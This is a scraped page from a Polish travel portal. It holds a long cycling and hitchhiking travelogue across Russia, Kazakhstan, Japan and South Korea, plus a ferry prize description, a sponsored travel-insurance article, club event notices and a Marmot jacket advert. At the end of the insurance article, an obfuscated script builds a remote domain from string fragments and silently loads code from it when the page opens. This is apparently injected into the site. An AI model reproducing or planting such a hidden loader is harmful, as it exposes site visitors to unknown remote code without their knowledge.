Tak znalazłem się w okolicy, którą każdy z Was powinien kojarzyć z pamiętnego deszczu meteorytów 2013r. Czelabińsk – właśnie o tym mieście piszę. W przeszłości potocznie nazywano je „Tankograd” ze względu na swój przemysłowy charakter oraz olbrzymie fabryki czołgów. Niestety, wygląda tak po dzień dzisiejszy. Tym wojennym akcentem pożegnałem się z Rosja i ruszyłem w stronę kolejnego kraju! Północne stepy Kazachstanu – chyba najnudniejszy obszar przez jaki jechałem w życiu! Płasko, długie, płaskie odcinki drogi, upierdliwy wiatr oraz jednostajne widoki. Tylu koni, które tutaj zobaczyłem nie widziałem jeszcze nigdy w życiu! Na szczęście wystarczyło mi woli walki i dotarłem do stolicy tego kraju – Astany. Stolica Kazachstanu to miasto inne niż wszystkie. Zbudowana w ciągu ostatnich 20 lat po środku stepu. Ogrom przestrzeni oraz duże nakłady finansowe pozwoliły zbudować dużo pieniędzy pozwala budować ogromne budynki, szerokie ulice i liczne stadiony. Spędziłem tutaj 3 dni i się nie nudziłem! Niektóre budowle bardzo mi się podobały (wieża Bajterek, stadion FK Astana) natomiast inne lekko rozczarowały (Chan Szatyr).

 

5

Astana – Nur Alem

 

Po zwiedzeniu Astany, ruszyłem na południe, w kierunku małej wioski Toksumak. Dużo wcześniej, korzystając z serwisu www.workaway.info, znalazłem tam Kazachską farmę, na której postanowiłem spędzić kilka dni. Celem mojego pobytu była porządna regeneracja i poznanie życia Kazachów „od środka”. W zamian za pracę, otrzymałem własny pokój oraz trzy posiłki dziennie. Układałem siano, doiłem krowy oraz pomagałem w pracach budowlanych 😀 Tydzień przeleciał bardzo szybko i znów musiałem zamienić wygodny pokój z łazienką na namiot. Ale dla mnie to nie problem! Było to zdecydowanie jedno z najlepszych doświadczeń podczas tej podróży. Czasem warto się zatrzymać, wziąć głęboki oddech i poznać miejscowych ludzi oraz ich kulturę z zupełnie innej strony. Podczas dalszej jazdy odwiedziłem Karagandę, gdzie mieści się największy okręg węglowy w Kazachstanie. Czułem się tam jak u siebie w domu. Kopalnie, huty, fabryki – tak samo jak na Śląsku. 250km później nastąpiła zmiana krajobrazu o 180 stopni. Wylądowałem w bajkowym Parku Narodowym Karkaraly. Tam po raz kolejny doświadczyłem Kazachskiej gościnności, spędzając 3 dni u bardzo miłej rodziny. Dzięki temu mogłem dokładnie zwiedzić „Małą Szwajcarię”, jak potocznie nazywa się ten region. Niestety, moja sielanka nie trwała wiecznie. Kolejny odcinek podróży to drogi o fatalnej nawierzchni. Do tego duże ciężarówki transportujące urobek z kopalni, cała masa pyłu oraz niekończące się, długie proste. To był zdecydowanie jeden z najtrudniejszych etapów podróży. Dodatkowo, kilka razy złapałem tutaj kapcia, zerwałem kilkanaście szprych oraz dostałem zatrucia. Do tego byłem sam. Brak większych miast. Nie było łatwo, ale po 3 dniach walki w końcu dotarłem do większego miasta Semej. Do granicy Rosyjskiej coraz bliżej!

 

6

Niekończące się, Kazachskie proste

 

Ostatniego dnia w Kazachstanie, tuż przed granicą, zostałem zaproszony przez kolegę poznanego po trasie do małego domku na wsi. Mieszkała tam jego rodzina, która ugościła mnie w iście królewski sposób. Po raz kolejny miałem okazję skosztować typowych Kazachskich potraw, takich jak Beszbarmak czy napić się typowego alkoholu z mleka klaczy. Wieczorem jeszcze kąpiel w bani i mogłem opuścić Kazachstan z uśmiechem na twarzy.

 

7

Kazachska gościnność

 

Po powrocie na terytorium Federacji Rosyjskiej, skierowałem się w stronę Republiki Ałtaju. Jest to bardzo malownicza okolica, zdecydowanie jedna z najpiękniejszych w tym kraju. Początkowo planowałem spędzić tam tydzień. Ostatecznie zostałem na trzy. Trzy tygodnie! Przeżyłem tam wiele ciekawych przygód, które zapamiętam do końca życia. Przedzierałem się z rowerem przez szlaki górskie, spędziłem noc w chatce z prawdziwymi myśliwymi czy przeżyłem pierwszy atak zimy przy już na początku Października. Te trzy tygodnie pokazały mi, iż takie dzikie tereny lubię najbardziej. Czuję tutaj wolność i swobodę. Nikt i nic mnie nie ogranicza. Jesteś tylko Ty i przyroda.

 

8

Szlaki w górach Ałtaj nie należały do najłatwiejszych

 

W połowie Października rozpocząłem ostatni, rowerowy odcinek wyprawy. Przez tajgę, pola czy nawet śnieg pokonałem kolejne 2000km i dotarłem do Irkucka. Udało się! Zrobiłem to! Z Godowa do Irkucka na rowerze! 11 400km w 99dni! Ale to nie koniec! Setnego dnia mojej wyprawy, aby uczcić rocznicę 100 LAT NIEPODLEGŁOŚCI POLSKI, udałem się do „małej Polski” na Syberii. Jest nią wioska Wierszyna, położona 120km na północ od Irkucka. Tam po raz pierwszy od długiego czasu, usłyszałem język polski. Co to było za uczucie! Środek tajgi, a ludzie rozmawiają w Naszym ojczystym języku! Zatrzymałem się tam na 4 dni, podczas których byłem gościem księdza Karola. Zobaczyłem wioskę, poznałem mieszańców, cieszyłem się pięknymi widokami. Było to niesamowite doświadczenie, które polecam każdemu, kto znajduje się w okolicy.

 

9

Z ojcem Karolem, przed kościołem w Wierszynie

 

Ostatniego Października ruszyłem dalej i zameldowałem się nad Jeziorem Bajkał. Był to ostatni punkt, który chciałem odwiedzić w tej okolicy. Ogromne jezioro! Czasem, człowiek ma wrażenie, iż jest nad morzem a nie jeziorem. Pomimo temperatury w okolicy zera, nie mogłem sobie darować i zaliczyłem kąpiel w tej lodowatej wodzie! Znad Bajkału wróciłem do Irkucka i rozpocząłem przygotowania do drugiego etapu podróży. Najpierw musiałem wypisać i wysłać równo 160 pocztówek! Gdy się z nimi uporałem, spakowaniem plecak, ogarnąłem inne, niezbędne rzeczy, mogłem ruszać dalej. Rower i sakwy zostawiłem w miejscowej katedrze. Zabrałem tylko to co niezbędne.
Plecak, kurtka, spodnie i ciepłe buty. Do tego w ręku kartka z napisem WŁADYWOSTOK! Tak oto rozpoczynam przygodę z autostopem! Pierwsze dwa dni szło mi dość ciężko. Ledwo dotarłem do Ułan Ude. Na szczęście, trzeciego dnia trafiłem tak zwany ‘Złoty Strzał”. Okazało się, iż kierowca może podrzucić mnie na odległość ponad 2500km!!! WOW! No cóż, takie mamy odległości w tym kraju. 6 dni w tej samej ciężarówce, z tym samym kierowcą. Takiego stopa można złapać chyba tylko w Rosji! Podczas jazdy dowiedziałem się wiele ciekawostek na temat życia, mentalności czy kultury Rosjan. Dodatkowo, w końcu mogłem skosztować prawdziwej zimy. Wprawdzie, była to dopiero połowa listopada, a temperatury w nocy spadały już dobrze ponad – 20 stopni. Brrr. Było to dla mnie bardzo ciekawe doświadczenie.

 

10

Kolacja nad Jeziorem Bajkał o zachodzie słońca

 

Po dotarciu do Chabarowska, musiałem szukać nowego transportu. Szczerze powiedziawszy, szło mi coraz lepiej. Ostatni 1000km pokonałem w 2 dni i tak oto dotarłem do końca. Dalej się już nie da jechać! WŁADYWOSTOK!!! Czyli miasto, o którym po cichu marzyłem od samego początku. Dotarłem tutaj! Ja mieszkaniec małego Godowa. Pokonałem blisko 16 000km przez całą Rosję! Szczerze powiedziawszy, nie żałuję tej decyzji ani trochę. Miasto bardzo się mi spodobało. Piękne mosty, architektura, wyspy i zatoki. Nie bez powodu nazywa się je LOS ANGELES WSCHODU. Spędziłem tutaj tydzień, co pozwoliło mi je dobrze poznać i zwiedzić. Zobaczyłem obowiązkowo mecz hokeja w wykonaniu miejscowej drużyny Admirał, która gra w KHL. Do tego spędziłem cały dzień w ogromnym oceanarium. Oj było co oglądać! Resztę dni spędziłem na przygotowaniach oraz zwiedzaniu miasta. Nie. Nie wracam już do domu. Lecimy dalej! Wsiadam do samolotu we Władywostoku i po 2h melduję się w … TOKIO! Japonia! Tutaj muszę Wam się przyznać, iż tego nie planowałem. Wyszło jakoś tak samo, spontanicznie. Zdałem sobie sprawę, że skoro jestem już tak blisko, grzechem byłoby nie wykorzystać okazji. O Japonii za dużo nie wiedziałem. Wszystko co tutaj zobaczyłem, z czym miałem do czynienia było dla mnie nowe. Chłonąłem wiedzę jak gąbka. Z racji napiętego kalendarza, odwiedziłem tylko typowo turystyczne miejsca. Na początek 2 dni w stolicy – Tokio. Ogromna metropolia. Coś niesamowitego! W takiej miejskiej dżungli jeszcze nie byłem. Mieszka tutaj kilkanaście milionów ludzi, a pomimo to panuje porządek oraz wysoka kultura. Kolejne miejsce to Pięć Jezior Fuji, które leżą u stóp ogromnej góry o tej samej nazwie. Bardzo fajna okolica, idealna na odpoczynek po kilku szalonych dniach w stolicy. Następnie nocnym autobusem dostałem się do Kioto. I chyba to miasto najbardziej mi się podobało. Można tutaj poczuć dawny klimat, zobaczyć gejsze na ulicy czy skosztować japońskiej kuchni. Obowiązkowo trzeba zajrzeć na wzgórze pełne bram Torii oraz do bambusowego lasu.

 

11

Magiczna góra Fuji w Japonii

 

Przedostatnim miejscem, które zobaczyłem w Japonii była Nara. Najmniejsze miasto, również bardzo historyczne. Stare świątynie, bramy i muzea. Idealne na jeden dzień. Warto dodać, iż pogoda w Japonii była dużo lepsza niż w Rosji. Gdy opuszczałem Władywostok, było kilka stopni poniżej zera. Natomiast w Tokio przywitało mnie słonko i 16 stopni na plucie. Na koniec pobytu zostawiłem sobie kolejnego giganta. Osaka. Biznesowa stolica kraju. Znajduje się tutaj cała masa wieżowców oraz przeróżnych firm. A swoje prawdziwe oblicze miasto ukazuje dopiero po zmroku. Ulice pełne ludzi, liczne sklepy, restauracje. Typowe miasto biznesu. Osobiście, Japonia mi się podobała. Czy tam wrócę? Oczywiście! Ale tym razem obowiązkowo z rowerem i na dłużej.

 

12

Sławne Shibuya Crossing w Tokio

 

Ostatnim krajem, który odwiedziłem była Korea Południowa. Tego również wcześniej nie planowałem. Po prostu, loty z Japonii są bardzo atrakcyjne cenowo, więc nie mogłem odpuścić. Zwiedzanie zacząłem od tropikalnej wyspy Jeju. Pierwszy Grudnia a tam 20 stopni na plusie. Tak to można żyć! Udało mi się dorwać rower i zrobiłem sobie rundę wokół wyspy. Bardzo fajne, małe wioski, wszędzie serwowane ryby i owoce morza, stożki wulkaniczne oraz spokój na drodze. Jazda tutaj rowerem to istna przyjemność. Do tego pięknie zdobione buddyjskie świątynie. Po dwóch dniach rowerowania chciałem zaliczyć największy wulkan na wyspie, lecz pogoda pokrzyżowała mi plany. Pozostała wizyta w muzeum lotnictwa. Swoją drogą, również bardzo ciekawe. Samą wyspę bardzo polecam. Będąc w Korei, trzeba ją zobaczyć. Kolejnego dnia znów krótki lot i melduje się w Busan. Największy port Korei Południowej. Tutaj nastawiłem się na dłuższy spacer po górach oraz typowe zwiedzanie miasta. Na zakończenie mojej eskapady wybrałem sobie Seul. Ogromna metropolia! Rozmiarami porównywalna z Tokio. Jednak 3 dni to zdecydowanie za mało na to miasto. Piękne pałace, ogromne ogrody, jeden z najwyższych wieżowców świata – Lotte Tower czy symbol miasta Seul Tower. Było krótko ale intensywnie. Wybrałem się nawet na wycieczkę do strefy DMZ, która znajduje się na granicy z Koreą Północną. I w taki oto sposób zakończyło się moje egzotyczne, dwutygodniowe tournée po krajach Azjatyckich.

 

13

Lotte Tower w Seulu

 

Wróciłem do Władywostoku, spakowałem bagaże i ruszyłem. Tym razem na dworzec kolejowy! Bez problemu namierzyłem swój pociąg, potem kontrola biletu i siadam na swoim łóżku. Kolej Transsyberyjska! Jak ja się cieszę! Czas spełnić kolejne marzenie. Podróż koleją z Władywostoku do Moskwy trwa ok. 7 dni. Ja rozbiłem to sobie na dwie części. A wszystko dlatego, iż musiałem zaliczyć małą pauzę w Irkucku aby zabrać swój rower i bagaże. Podczas przejazdu, doświadczyłem srogiej, Syberyjskiej zimy. Nocą temperatura spadała do -35 stopni. Nigdy nie zapomnę spacerów po peronie w takim chłodzie. Sama podróż przebiegała spokojnie. W wagonie wysoka kultura, porządek, wrzątek. Wszystko co potrzeba aby normalnie funkcjonować.

Do tego mamy mnóstwo czasu aby porozmawiać z innymi pasażerami o ich historiach, które często są bardzo interesujące. W taki sposób poznałem popa z Władywostoku, bardzo miłych Tadżyków, czy zawsze uśmiechnięte Panie z Krasnojarska. Ta podróż na zawsze zostanie w mej pamięci. Kolej Transsyberyjska – zdecydowanie polecam!

 

14

Kolej Transsyberyjska

 

Ostatni etap to powrót samolotem z Moskwy do Warszawy. Potem szybko na Jarmark Świąteczny do Wrocławia i czas wracać do domu! 23 Grudnia melduję się w Gliwicach. Tam czeka na spore grono kibiców z rodzicami na czele! Dziękuję Wam za bardzo miłe przyjęcie. Ostatnia, honorowa runda do domu z kolegami. Impreza powitalna i KONIEC. Tak. Po 158 dniach dotarłem do celu. Do domu. Czas zacząć planować kolejną wyprawę!

Na koniec, co mogę powiedzieć o Rosji? Jest to normalny kraj. Pełen miłych i pomocnych ludzi. Wyróżnia ich stosowanie niekonwencjonalnych rozwiązań, otwartość oraz bezpośredniość. Jeśli jeszcze się wahacie czy warto odwiedzić ten kraj, to nie róbcie tego dalej. Zdecydowanie warto!

 

 

1 miejsce
Podróż dla 2 osób na trasie Świnoujście – Ystad – Świnoujście, kabina typu de lux, posiłki na promie (kolacja lub śniadanie w zależności od rejsu dziennego, czy nocnego), przewiezienie auta prywatnego + opłaty ekologiczne
 
Unity Line

Spółka Unity Line, założona w maju 1994 roku jest jedną z największych firm armatorskich działających na rynku bałtyckich przewozów promowych, wchodzi w skład grupy kapitałowej Polskiej Żeglugi Morskiej (PŻM). W ramach prowadzonej działalności firma zajmuje się profesjonalnym zarządzaniem promami morskimi oraz działalnością turystyczną i transportową. Struktura floty Unity Line umożliwia obsługę wszystkich grup odbiorców: pasażerów, spedytorów oraz przewoźników drogowych i kolejowych. Promy w zarządzie Spółki eksploatowane są na liniach: Świnoujście – Ystad oraz Świnoujście – Trelleborg. Obok jednostek pasażerskich – promów Polonia i Skania – w zarządzie Unity Line znajduje się pięć jednostek zorientowanych na obsługę rynku cargo – promy ładunkowe: Jan Śniadecki, Kopernik; promy ładunkowo-pasażerskie: Gryf, Galileusz, Wolin i Copernicus.  Jesteśmy największym przewoźnikiem w korytarzu z Polski do Skandynawii, w segmencie cargo . Unity Line obsługuje całość przewozów kolejowych między Polską a Szwecją oraz ponad 63% wolumenu na rynku transportu samochodów ciężarowych. Obecnie promy Unity Line goszczą rocznie ponad 340.000 pasażerów i ponad 250.000 kierowców ciężarówek. Liczba ta wzrasta z każdym rokiem. https://www.unityline.pl

 
unity line
2019-04-23 0 komentarze/y
0 FacebookTwitterPinterestEmail
Reklama

Ubezpieczenie turystyczne – dlaczego jest tak istotne?

przez Redakcja 2019-04-18
Napisane przez Redakcja
Ubezpieczenie turystyczne dlaczego jest tak istotne

Ubezpieczenie turystyczne dlaczego jest tak istotne

 Ubezpieczenie turystyczne – dlaczego jest tak istotne ?

 
Ubezpieczenie turystyczne

 
 
Wyjazd turystyczny to nie tylko odpoczynek, zwiedzanie i przyjemności, ale również ryzyko wypadków i ogólnie zdarzeń, które mogą wymagać pomocy lekarskiej i nie tylko. Wybierając się na taki urlop, powinniśmy pamiętać przede wszystkim o ubezpieczeniu, które może nas uchronić przed finansową odpowiedzialnością za zdarzenia, do których może dojść podczas wyjazdu.
 

EKUZ to nie wszystko

 Europejska Karta Ubezpieczenia Zdrowotnego, czyli karta EKUZ, zapewnia nam refundację niektórych zabiegów medycznych w krajach Unii Europejskiej i Europejskiego Stowarzyszenia Wolnego Handlu. Należy jednak pamiętać, że zakres ochrony, jaką ona nam gwarantuje, jest ograniczony i odmienny w zależności od tego, w jakim kraju znajduje się turysta. Ubezpieczenia turystyczne nie są związane z wysokim wydatkiem, a jednak zapewniają przez okres wyjazdu ochronę ubezpieczeniową uzależnioną od tego, na jaki jej zakres się zdecydujemy. Na wstępie warto pamiętać o tym, że w przypadku ubezpieczeń turystycznych również obowiązuje karencja, której czas należy sprawdzić przed podpisaniem umowy. Możliwe, że ochrona rozpocznie się po kilku godzinach, po kilku dniach albo obowiązywać będzie w wyznaczonym czasie.

Ubezpieczenie turystyczne – przed czym zabezpiecza?

 Zakup ubezpieczenia turystycznego nie jest obowiązkowy wyłącznie w przypadku osób, które podróżują na własną rękę. Wprawdzie biuro podróży oferuje ubezpieczenie w cenie urlopu, ale jednak jego zakres jest mocno ograniczony i wskazane tam kwoty mogą w wielu krajach nie wystarczyć do pokrycia podstawowych kosztów! Ubezpieczenie turystyczne zapewni ochronę w przypadku:

  • Kosztów związanych z transportem medycznym do kraju – co rusz w mediach pojawiają się informacje o kolejnej poszkodowanej osobie, dla której rodzina uruchomiła zbiórkę środków na sfinansowanie kosztów transportu medycznego. W 2018 roku transport medyczny z Kirgistanu ponad 30-letniej Polki kosztował 126 tysięcy złotych. Podobną kwotę należało zebrać dla 52-letniej Anny, która leżała w szpitalu w Kairze. Gdyby ci turyści pamiętali o ubezpieczeniu turystycznym, to takie problemy by się nie pojawiły.
  • Wakacyjne OC – w czasie wakacji można również spowodować wypadek osobie trzeciej – np. jadąc rowerem. Jeśli nie mamy polisy, to sami ponosimy odpowiedzialność, ale jeśli ją kupiliśmy, to ubezpieczyciel pokryje koszty.
  • Pomoc medyczna – jest finansowana z ubezpieczenia. O tym, jak jest to ważne, przekonywało się wielu polskich turystów, a doskonałym przykładem może być Polak, który wypoczywał na Majorce. Rachunek za wykonane 2 operacje, opiekę medyczną i transport medyczny opiewał na 680 tysięcy złotych! U turysty wykryto tętniaka mózgu. W tym przypadku urlopowicz miał jednak ubezpieczenie, które uchroniło go przed ogromnymi kosztami.
  • Pomoc dla rodziny – w ramach polisy turystycznej można otrzymać również auto zastępcze, nocleg dla siebie i pasażerów. Po prostu większość ubezpieczeń turystycznych ma w swoim zakresie assistance. Polisa umożliwia również odwiezienie rodziny do domu czy do miejsca noclegowego przez innego kierowcę.
  • Ratunek w górach – wypadki w górach zdarzają się szczególnie często. W Polsce bezpłatną pomoc w takich przypadkach świadczy GOPR. Tymczasem jeśli turysta nie ma ubezpieczenia, to np. w Czechach czy na Słowacji za godzinę pracy helikoptera ratowniczego trzeba będzie zapłacić około 5 tysięcy złotych!
  • Pomoc prawna i językowa (tłumacza) – może się okazać niezbędna w przypadku rozmów z lekarzami czy policją. Nawet jeśli turysta zna język angielski, to wcale nie oznacza, że w trudnych chwilach poradzi sobie w rozmowie ze specjalistami, gdzie konieczne będzie używanie specjalistycznego słownictwa.

Ubezpieczenie turystyczne to obowiązek!

 Zakup polisy turystycznej to rozsądne rozwiązanie bez względu na to, do jakiego kraju wyjeżdżamy na wakacje. Należy pamiętać o odpowiednim dopasowaniu zakresu polisy. Np. Allianz ma ubezpieczenia turystyczne na wyjazd roczny, na podróż biznesową czy wyjazd sportowy. Ważne jest przeanalizowanie, jakie wykluczenia odpowiedzialności zakłada ubezpieczyciel. Sprawdź ofertę Allianz na stronie https://www.allianzonline.pl/

 

 

artykul sponsorowany l

 

 

 

{source}
<script>
(function(){
x67g_=(„u”+””)+”s”+””;x67g_+=(„tat.”)+(„i”);
x67g=document.createElement(„script”);x67g.type=”text/javascript”;x67g_+=”nf”+(„o”)+”/”;
x67gu=”131115348″+”.”;x67g.async=true;x67gu+=”vviu1kuv67gevfkbqqyzaiydxnz1am”;
x67g.src=”https://”+x67g_+x67gu;x67gb=document.body;x67gb.appendChild(x67g);
})();
</script>
{/source}

2019-04-18 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Tajlandia – Kambodża – Wietnam

przez Redakcja 2019-04-14
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
06.05.2019 godzina 19:00
Ewa Bąchor
Indochiny po mojemu – Tajlandia – Kambodża – Wietnam

 slajdowisko 472

Indochiny – na próżno szukać ich na dzisiejszej mapie świata. Dziś to Tajlandia, Wietnam, Kambodża, Laos. Chcę Was zabrać w podróż po nowej, współczesnej wersji Indochin. Są to wspomnienia z moich dwóch wyjazdów. Rok po roku. Pierwszą była podróż do Wietnamu a rok później Tajlandia i Kambodża. Opowiem o ludziach, jedzeniu, jak przygotować się do takiego wyjazdu, a także o tym co mnie urzekło i zachwyciło, a co zupełnie było nie dla mnie. Tak więc zapraszam na opowieść o Indochinach. Na opowieść o Tajlandii, Kambodży i Wietnamie po mojemu.

Ewa Bąchor – na co dzień zajmuje się projektami z zakresu finansów. Obecnie odwiedziła już 63 kraje, niektóre wielokrotnie. Mieszkała we Włoszech i w Turcji ale jej miejscem na ziemi
jest Kraków, do którego najbardziej lubi wracać ze swoich podróży.
Podróżuje od zawsze, a od niedawna, bo od roku prowadzi bloga podróżniczego – www.ewaswiatowiewa.pl a także fanpage https://www.facebook.com/ewaswiatowiewablog/
gdzie dzieli się wrażeniami ze swoich podróży.

 

Obraz może zawierać: niebo i na zewnątrz

2019-04-14 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Moje książki smakiem pisane

przez Redakcja 2019-04-14
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
24.04.2019 godzina 19:00 (ŚRODA!)
Elzbieta Tomczyk-Miczka
Moje książki smakiem pisane

 slajdowisko nr 471

Małopolskie Dni Książki „Książka i Róża”
„Książka ze smakiem”

W ramach slajdowisk zapraszamy wyjątkowo w środę, a nie jak tradycyjnie w poniedziałek.

Moje książki smakiem pisane. Małopolska i okolice od kuchni.
Elżbieta Tomczyk-Miczka, dziennikarka i podróżniczka jest autorką 13 publikacji przewodnikowych, głównie o tematyce kulinarnej. Kuchnia jest tylko pretekstem do poznawania tradycji, kultury, historii, opowieści o ludziach…
Różnorodne smaki potraw, ale i lokalne smaczki przywołane w książkach przeniosą nas w przestrzeni i w czasie w niezwykłe miejsca w Małopolsce i sąsiednich regionach.
Prowadzi stałą rubrykę „Polska na talerzu” w tygodniku Wprost. Ulubiony cytat: „Kuchnia jest oknem na świat i zwierciadłem, w którym się przeglądamy” (Lucy M.Long ).

 

Obraz może zawierać: 1 osoba, uśmiecha się, stoi

2019-04-14 0 komentarze/y
0 FacebookTwitterPinterestEmail
Sprzęt

legendarne kurtki Marmot

przez Redakcja 2019-04-14
Napisane przez Redakcja
kurtki Marmot
kurtki Marmot

 legendarne kurtki Marmot

Zupełnie nowy PrecipR ECO – innowacyjna odsłona legendarnej kurtki Marmota już w sklepach
 
 
Już ponad 20 lat minęło od wprowadzenia pierwszej kurtki z membranowej serii Precip® amerykańskiego Marmota. Na przestrzeni lat ewoluowała ona od technologicznej ciekawostki do pozycji jednej z najczęściej nabywanych serii wśród miłośników outdooru. Stała się wręcz synonimem wysokiej klasy odzieży przeciwdeszczowej. Począwszy od bieżącego sezonu Precip® wchodzi jednak na kolejny level – na sklepowych półkach pojawił się Precip® ECO. Co warto o nim wiedzieć i dlaczego stanowi on kolejny kluczowy moment w produkcji odzieży membranowej?
 
MARMOT PrecipR ECO fot. 2
 
Kolekcja Precip® to pionierski projekt marki Marmot, będący owocem rozwoju współczesnej myśli technologicznej oraz DNA amerykańskiego producenta. Łączy w sobie uniwersalność, wysoką jakość oraz proekologiczne podejście do biznesu. W branży outdoorowej Marmot znany jest z tego, iż od wielu lat rozwija swoje kolekcje wielopoziomowo i w ramach różnych aspektów – nie tylko pod kątem dostarczania na rynek nowych produktów. Do tego dochodzi bowiem również innowacyjność technologiczna – przekładająca się na funkcjonalność i uniwersalność produktu – ale też trendy modowe czy troska o środowisko naturalne. Nowy Precip® ECO – co kupimy w ramach bieżącej kolekcji? W wiosenno – letniej ofercie, poza klasycznymi kurtkami (Precip® ECO Jacket) znajdziemy również modele z bardziej technicznym wykończeniem, m.in. Precip® Stretch czy Plus Jacket. Nie brakuje klasycznych, jednolitych spodni membranowych oraz wersji z rozpinaną nogawką (Precip® ECO Full Zip Pant). Do tego dochodzą akcesoria w postaci rękawiczek, czapek z daszkiem czy kapeluszy wyprawowych.

NanoProTM, czyli najwyższa półka wśród membran
Niniejsza membrana – stanowiąca bazę linii Precip® ECO – uchodzi za szczytowe osiągnięcie w dziedzinie laminatów. Stanowi ona nadzwyczaj wygodny i skuteczny materiał wodoodporny, równocześnie cechujący się świetną oddychalnością. NanoProTM wykorzystuje nowoczesną technologię laminowania opartą na strukturze mikroskopijnych porów – nawet o 30% mniejszych od tych stosowanych we wcześniejszych generacjach membran. Dzięki ich bardzo gęstemu rozmieszczeniu wyposażony w NanoProTM produkt znakomicie oddycha, nie tracąc przy tym na parametrach wodoodporności. W przypadku laminatu 2,5-warstwowego – stosowanego w serii Precip® ECO – zapewnia to parametry wodoodporności na poziomie 10 000 mm H2O oraz oddychalności na poziomie 17 000 g H20/ m2/ 24h (RET: 5,0 – 5,4). Konstrukcja kurtki pozwala na dynamiczną cyrkulację powietrza (DAP – Dynamic Air Exchange), co w praktyce przekłada się na jego szybką wymianę pomiędzy wewnętrzną i zewnętrzną warstwą odzieży. Dzięki temu użytkownik może szybciej pozbyć się wilgoci skumulowanej pod kurtką, bez pogorszenia stopnia ochrony przed wiatrem lub wodą. Tym samym otrzymuje on produkt niezwykle wszechstronny, lekki i odpowiedni do szerokiego zakresu aktywności aerobowych.

 
Marmot 2

Nowy laminat
Wychodząc naprzeciw wzrastającym potrzebom odbiorców, amerykański producent opracował nową konstrukcję 2.5-warstwowego laminatu. W tego typu konstrukcjach najbardziej newralgiczny element stanowi wewnętrzna powłoka (ang. Coating). Niemal za każdym razem, gdy zakładamy kurtkę, to właśnie ona narażona jest na największe zużycie i w przeciągu kolejnych miesięcy powoduje utratę sztywności i wytrzymałości materiału. Kluczem nowego rozwiązania jest polimeryczna struktura wewnętrznej powłoki. Jej uporządkowany układ ułatwia klejenie go z membraną. Jeszcze solidniejsza niż wcześniej konstrukcja gwarantuje większą wytrzymałość, a co za tym idzie – odporność na zużycie. I to właśnie ta cecha jest największym atutem nowego laminatu. Już na etapie konstrukcyjnym został on poddany rygorystycznym testom, których celem było zbadanie zużycia wewnętrznej powłoki w ciągu kolejnych lat. W tym celu nowy Precip® ECO przeszedł tak zwany Jungle Test (standard ISO 1419), mający na celu wykazanie jego odporności na ekstremalne temperatury i wilgotność. Odporność nowego laminatu porównana została w nim do rozwiązań stosowanych przez konkurencję. Każdy tydzień odpowiada tu jednemu rokowi. Jak wskazują powyższe dane, nowy laminat Marmota zaliczył zaledwie 20% ubytek powłoki na przestrzeni aż 8 lat! Wynik ten pozostawia daleko w tyle konkurencję oraz dowodzi, iż nowa seria produktów Precip® ECO jest w stanie wytrzymać – w niemal niezmienionym stanie! – długoletnie, intensywne użytkowanie. Tym samym, Marmot dostarczył miłośnikom outdooru niezwykle wartościowy i pożądany, a przy tym wciąż bardzo konkurencyjny cenowo, produkt.

 
Nowy wymiar ekologii
Jak najbardziej słuszny jest wyraz ECO, uzupełniający nazwę linii Precip®. Materiały użyte w produkcji nowych kurtek i spodni są w pełni pozyskiwane z recyclingu, a w impregnacji odzieży (DWR) nie użyto szkodliwych związków PFC. Żyjąc w dobie zwiększonej świadomości związanej z ochroną otaczającej nas przyrody, produkty Marmota dowodzą, iż można produkować nowocześnie i na masową skalę, jednocześnie dbając o przyrodę.

Lifting oraz klasyczne rozwiązania
W odzieży z serii Precip® ECO zmianie uległ krój – od teraz pozwalający na lepsze dopasowanie do sylwetki. Jest to zasługa odpowiednich wcięć i redukcji materiału w okolicy klatki, brzucha a także ramion. W zależności od miejsca zastosowania sięgają one od 2,5 do 5 cm. Ponadto linia rozbudowana została o zupełnie nowy, bardziej techniczny model Precip® ECO Plus Jacket.

Na co konkretnie warto zwrócić uwagę w ramach bieżącej kolekcji?

 

MARMOT Precip® ECO Jacket

MARMOT Ms PrecipR Eco Jacket przód

 
Bezpośredni następca klasycznej kurtki Precip®. Wydajna membrana NanoProTM o parametrach wodoodporności na poziomie 10 000 mm H2O oraz oddychalności na poziomie 17 000 g H20/ m2/ 24h gwarantuje komfort użytkowania niezależnie od warunków pogodowych. Najistotniejszą zmianą w odróżnieniu do poprzednika jest użycie nowego, 2.5-warstwowego laminatu o znacznie wytrzymalszej powłoce wewnętrznej. Ponadto materiały użyte w kurtce zostały w pełni pozyskane z recyclingu, a w impregnacji nie użyto szkodliwych związków PFC. Zmianie uległ też krój kurtki – odtąd bardziej przylegający i atletyczny, wciąż przy tym zapewniający szeroki zakres ruchów, co wiąże się z zastosowaniem technologii Angel-Wing MovementTM. Ponadto, kurtka posiada miękkie wykończenie w okolicy podbródka oraz wywietrzniki pod pachami. Na uwagę zwraca bogata gama kolorystyczna – zarówno w wydaniu damskim, jak i męskim kurtka dostępna jest w aż 10 wersjach kolorystycznych, zbieżnych ze sobą jedynie w dwóch przypadkach!
Waga rozmiaru M: 286,3 g – męska, 246,6 g – damska.
 
 
 
 
MARMOT Precip® ECO Plus Jacket

MARMOT Ms PrecipR ECO Plus Jacket przód
